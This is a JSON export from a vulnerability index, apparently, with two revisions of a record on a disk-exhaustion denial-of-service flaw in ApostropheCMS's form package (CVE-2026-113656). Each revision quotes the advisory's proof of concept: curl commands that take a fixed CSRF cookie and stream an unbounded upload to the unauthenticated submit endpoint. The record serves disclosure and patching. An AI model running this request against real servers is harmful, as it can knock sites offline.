{"items":[{"id":"NVI-00012128","kind":"vulnerability","title":"ApostropheCMS: Unauthenticated unbounded multipart upload → disk-exhaustion DoS","revision":2,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected.","NVD lastModified does not establish freshness of every associated CPE record."],"lifecycle":"active","identifiers":["GHSA-89mh-mm8c-mv7f","CVE-2026-113656"],"plain_summary":"GitHub lists this reviewed advisory for @apostrophecms/form. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-330bab48483aa43763dd561d94834c95"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-10-20T18:08:32.000Z","value":"5.3 medium","meaning":"GitHub source severity; exploitability and local consequence require separate evidence.","source_id":"sr-b07fd58cdb6737ee2d464d599822d90b"},{"kind":"CVSS","as_of":"2026-10-21T16:17:24.097Z","value":"5.3 MEDIUM (3.1)","meaning":"security-advisories@github.com severity; no combined Null risk score.","source_id":"sr-330bab48483aa43763dd561d94834c95"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-b07fd58cdb6737ee2d464d599822d90b","url":"https://github.com/advisories/GHSA-89mh-mm8c-mv7f","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-89mh-mm8c-mv7f","publisher":"GitHub Advisory Database","observed_at":"2026-10-31T23:13:39.183Z"},{"id":"sr-330bab48483aa43763dd561d94834c95","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113656","basis":"official_catalog","notes":"This product uses data from the NVD API but is not endorsed or certified by the NVD.","title":"CVE-2026-113656","publisher":"NIST National Vulnerability Database","observed_at":"2026-11-03T09:58:44.915Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-b07fd58cdb6737ee2d464d599822d90b"],"technology":"@apostrophecms/form","known_exclusions":[],"conditions_summary":"**Summary**\nThe form submission endpoint runs `multer({ dest: os.tmpdir() }).any()` before authentication, API-key, CSRF-equivalent, or form-existence logic, with no size/count/rate limits. Unauthenticated users can stream unbounded bodies to disk per request; cleanup occurs only after the full body is received.\n\n**Details**\n`packages/form/index.js` `apiRoutes.post.submit` (L274–296): `[ multer({ dest: os.tmpdir() }).any(), self.normalizeFiles, async function (req) { try { submitForm } finally { unlink files } } ]`. No `limits`, no rate limiting, no pre-validation. \"CSRF\" is a fixed-value double-submit cookie (`vulnlab.csrf=csrf`, set on any GET, express/index.js L694–703) — trivially obtainable anonymously.\n\n**PoC**\n```\n$ curl -s -c csrfjar.cookies http://localhost:3100/        # get vulnlab.csrf=csrf (any GET)\n$ df -P /tmp                                                # before: used=1105212\n$ curl -b csrfjar.cookies -X POST http://localhost:3100/api/v1/@apostrophecms/form/submit \\\n      -F \"file=@/tmp/opencode/big.bin;type=application/octet-stream\" &\n   DURING transfer:    used=1148668\n   still transferring: used=1226936        # +121MB mid-transfer on disk\n   http=500 time=1.78","public_affected_ranges":["< 1.5.5"]}],"null_published_at":"2026-11-03T10:03:31.393Z","source_updated_at":"2026-10-20T18:08:32.000Z","source_disclosed_at":"2026-10-20T18:08:31.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Source facts changed; compare the preserved prior revision.","null_first_observed_at":"2026-10-31T23:13:39.183Z"},{"id":"NVI-00012128","kind":"vulnerability","title":"ApostropheCMS: Unauthenticated unbounded multipart upload → disk-exhaustion DoS","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-89mh-mm8c-mv7f","CVE-2026-113656"],"plain_summary":"GitHub lists this reviewed advisory for @apostrophecms/form. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-b07fd58cdb6737ee2d464d599822d90b"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-10-20T18:08:32.000Z","value":"5.3 medium","meaning":"GitHub source severity; exploitability and local consequence require separate evidence.","source_id":"sr-b07fd58cdb6737ee2d464d599822d90b"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-b07fd58cdb6737ee2d464d599822d90b","url":"https://github.com/advisories/GHSA-89mh-mm8c-mv7f","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-89mh-mm8c-mv7f","publisher":"GitHub Advisory Database","observed_at":"2026-10-31T23:13:39.183Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-b07fd58cdb6737ee2d464d599822d90b"],"technology":"@apostrophecms/form","known_exclusions":[],"conditions_summary":"**Summary**\nThe form submission endpoint runs `multer({ dest: os.tmpdir() }).any()` before authentication, API-key, CSRF-equivalent, or form-existence logic, with no size/count/rate limits. Unauthenticated users can stream unbounded bodies to disk per request; cleanup occurs only after the full body is received.\n\n**Details**\n`packages/form/index.js` `apiRoutes.post.submit` (L274–296): `[ multer({ dest: os.tmpdir() }).any(), self.normalizeFiles, async function (req) { try { submitForm } finally { unlink files } } ]`. No `limits`, no rate limiting, no pre-validation. \"CSRF\" is a fixed-value double-submit cookie (`vulnlab.csrf=csrf`, set on any GET, express/index.js L694–703) — trivially obtainable anonymously.\n\n**PoC**\n```\n$ curl -s -c csrfjar.cookies http://localhost:3100/        # get vulnlab.csrf=csrf (any GET)\n$ df -P /tmp                                                # before: used=1105212\n$ curl -b csrfjar.cookies -X POST http://localhost:3100/api/v1/@apostrophecms/form/submit \\\n      -F \"file=@/tmp/opencode/big.bin;type=application/octet-stream\" &\n   DURING transfer:    used=1148668\n   still transferring: used=1226936        # +121MB mid-transfer on disk\n   http=500 time=1.78","public_affected_ranges":["< 1.5.5"]}],"null_published_at":"2026-11-01T01:04:01.244Z","source_updated_at":"2026-10-20T18:08:32.000Z","source_disclosed_at":"2026-10-20T18:08:31.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-10-31T23:13:39.183Z"}],"next_cursor":null,"snapshot_revision":"42594"}